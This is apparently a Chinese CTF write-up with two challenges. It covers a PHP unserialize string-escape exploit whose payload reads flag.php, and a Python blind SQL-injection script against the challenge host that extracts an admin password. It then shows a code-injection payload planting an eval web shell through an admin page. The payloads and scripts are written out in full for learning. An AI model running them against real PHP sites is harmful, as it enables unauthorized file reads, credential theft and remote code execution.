趁着平台还开放,赶紧复现一下:
这题是Joomla 的逃逸,直接搜就能搜到几乎差不多的题目分析
题目给了源码:
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
咋一看是反序列化,找pop链:
C类存在__toString
魔术方法,并通过file_get_contents
输出$c
的信息,所以可以使$c
为flag.php
。
B类存在__destruct
魔术方法,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,并且有输出。
A类存在__construct
魔术方法,当使用 new 操作符创建一个类的实例时,构造函数将会自动调用。
所以,只要在类B中输出类C,就能调用__toString方法,输出flag.php内容
exp:
<?php
// class A{
// public $username;
// public $password;
// function __construct($a, $b){
// $this->username = $a;
// $this->password = $b;
// }
// }
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
// $a = new A();
$b = new B();
$c = new C();
$b->b = $c;
$c->c = "flag.php";
echo serialize($b);
得到:
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
再把序列后的值传给类A:
<?php
class A{
public $username;
public $password='O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
function __construct(){
}
}
$a = new A();
echo serialize($a);
得到:
O:1:"A":2:{s:8:"username";N;s:8:"password";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
看到看出:
传进去的序列化值,被当成字符串了。
而题目又给了两个方法:
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
反序列化操作也给了出来:
write方法:把序列化值中的 *
(这里是三个字符,chr(0)是为空的)替换成 \0\0\0
。
read方法:把\0\0\0
,还原成*
:
先试一下:
<?php
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username='\0\0\0';
public $password='O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
function __construct(){
}
}
$a = new A();
echo serialize($a);
echo read(serialize($a));
对比可以发现,通过read函数后,s:6:"*"
这段很明显是错误的,他包含到的是s:6:"*";s
,并且没有双引号闭合,如果要反序列化肯定是不行的(这里双引号里包含的是三个字符,浏览器显示问题看不到)。所以如果把一个特殊的的值赋值给password,然后通过read方法吞掉部分字符,就能达到字符串逃逸的效果。说起来有点乱,直接上exp:
<?php
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username='\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0';
public $password='a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
function __construct(){
}
}
$a = new A();
echo serialize($a);
echo "\n\n";
echo read(serialize($a));
得到:
可以通过图中红线看出
第一个序列化,我们传入的a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
被当作字符串,所以达不到触发不了file_get_contents。
而第二个序列化,传入的值部分被前面的s:48
吞掉,留下的刚好是理想的序列化值,所以payload:
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
拿到flag。\0
的个数我是多次尝试。不过也可以通过计算要逃逸的字符串:";s:8:"password";s:73:"a
的长度,末尾加a
是因为不加的话长度为23,而每个\0\0\0
吞掉的是3个字符,23无法整除3,导致吞掉了一个用于闭合的双引号,这样会导致反序列化出错,所以随便加个字符凑够长度即可。
fuzz无果,发现tip:
(昨晚听赵总讲题,u1s1,赵总pwn,逆向和密码学讲的不错(手动狗头))
一开始,我复现这题获取用户名密码的方法,是通过sprintf格式化字符串漏洞复现的,然后我试了好久,都不能拿到用户密码。心死的我放弃了这个方法,重新去赵总录播看预期解,然后·······才知道,这个sprintf格式化字符串漏洞其实是非预期解,给修复掉了。我ca*了,白花那么长时间。
exp:
import requests
flag = ""
flag2 = ""
arg1 = ""
arg2 = ""
i = 1
n = 2
for i in range(1, 28):
print(i)
m = 64
j = 64
for q in range(1, 8):
if q != 1:
j = j / 2
if n == 1:
m = m + j
elif n == 0:
m = m - j
m = int(m)
arg2 = chr(m)
arg2 = flag2 + arg2
arg1 = arg1 + chr(32)
url = "http://183.129.189.60:10010/index.php"
user = """%1$c+0 and passwd between CONCAT("{}", BINARY("")) and CONCAT("{} ", BINARY("")) #""".format(arg1,arg2)
data = {"user":user,
"passwd":"39"
}
p = requests.post(url, data=data)
if "window.location.href='./user.php'" in p.text:
n = 0
else:
n = 1
if q == 7:
if "window.location.href='./user.php'" in p.text:
flag = flag + chr(m-1)
arg2 = chr(m-1)
flag2 = flag2 + arg2
else:
flag = flag + chr(m)
flag2 = arg2
print(flag)
拿到密码:
GoODLUcKcTFer202OHAckFuM
GoODLUcKcTFer202OHAckFuN
听说蚁剑可以扫到网站后台/admin:
输入用户名和密码:
得到源码:
<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
die("");
}
if($_GET['shell']){
$shell= addslashes($_GET['shell']);
$file = file_get_contents('./shell.php');
$file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
file_put_contents('./shell.php', $file);
}else{
echo "set your shell"."
";
chdir("/");
highlight_file(dirname(__FILE__)."/admin.php");
}
?>
payload:
?shell=;eval(getallheaders(){1});
?shell=$0
burpsuite抓包添加名为1的headers:
url访问cop.php,可以打开,代表创建成功。
然后就是绕过disablefunc和open_basedir。(这题好难)。
录播:
https://www.bilibili.com/video/BV1tV411d78y